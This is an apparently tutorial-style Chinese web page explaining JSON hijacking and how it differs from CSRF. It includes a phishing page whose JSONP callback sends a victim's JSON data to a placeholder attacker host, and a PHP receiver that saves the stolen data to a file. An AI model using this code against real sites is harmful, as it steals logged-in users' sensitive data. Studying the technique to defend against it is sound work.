企业🤖AI智能体构建引擎,智能编排和调试,一键部署,支持知识库和私有化部署方案 广告
[TOC] ## JSON劫持原理 * JSON是一种轻量级的数据交换格式,而劫持就是对数据进行窃取(或者应该称为打劫、拦截比较合适)。恶意攻击者通过某些特定的手段,将本应该返回给用户的JSON数据进行拦截,转而将数据发送回给恶意攻击者,这就是JSON劫持的大概含义。一般来说进行劫持的JSON数据都是包含敏感信息或者有价值的数据。 * JSON劫持其实就跟CSRF一样,都是需要用户登录帐号,身份认证还没有被消除的情况下访问攻击者精心设计好的的页面。就会获取json数据,把json数据发送给攻击者。 ## JSON和CSRF的区别 * json劫持攻击又为”JSON Hijacking”,攻击过程有点类似于csrf,**只不过csrf只管发送http请求,但是json-hijack的目的是获取敏感数据。** * 一些web应用会把一些敏感数据以json的形式返回到前端,如果仅仅通过cookie来判断请求是否合法,那么就可以利用类似csrf的手段,向目标服务器发送请求,以获得敏感数据。 ## 钓鱼网站上的劫持代码 ``` <!DOCTYPE html> <html> <head> <meta charset="UTF-8"> <title></title> <script src="http://apps.bdimg.com/libs/jquery/1.10.2/jquery.min.js"></script> <script> function test(data){ //alert(v.name); var xmlhttp = new XMLHttpRequest(); var url = "http://后端接收ip/1.php?file=" + JSON.stringify(data); xmlhttp.open("GET",url,true); xmlhttp.send(); } </script> <script src="靶机/json.php?callback=test"></script> </head> <body> </body> </html> ``` ## 后端接收的代码(1.php): ``` <?php if($_GET['file']){ file_put_contents('json.txt',$_GET['file']) } ?> ```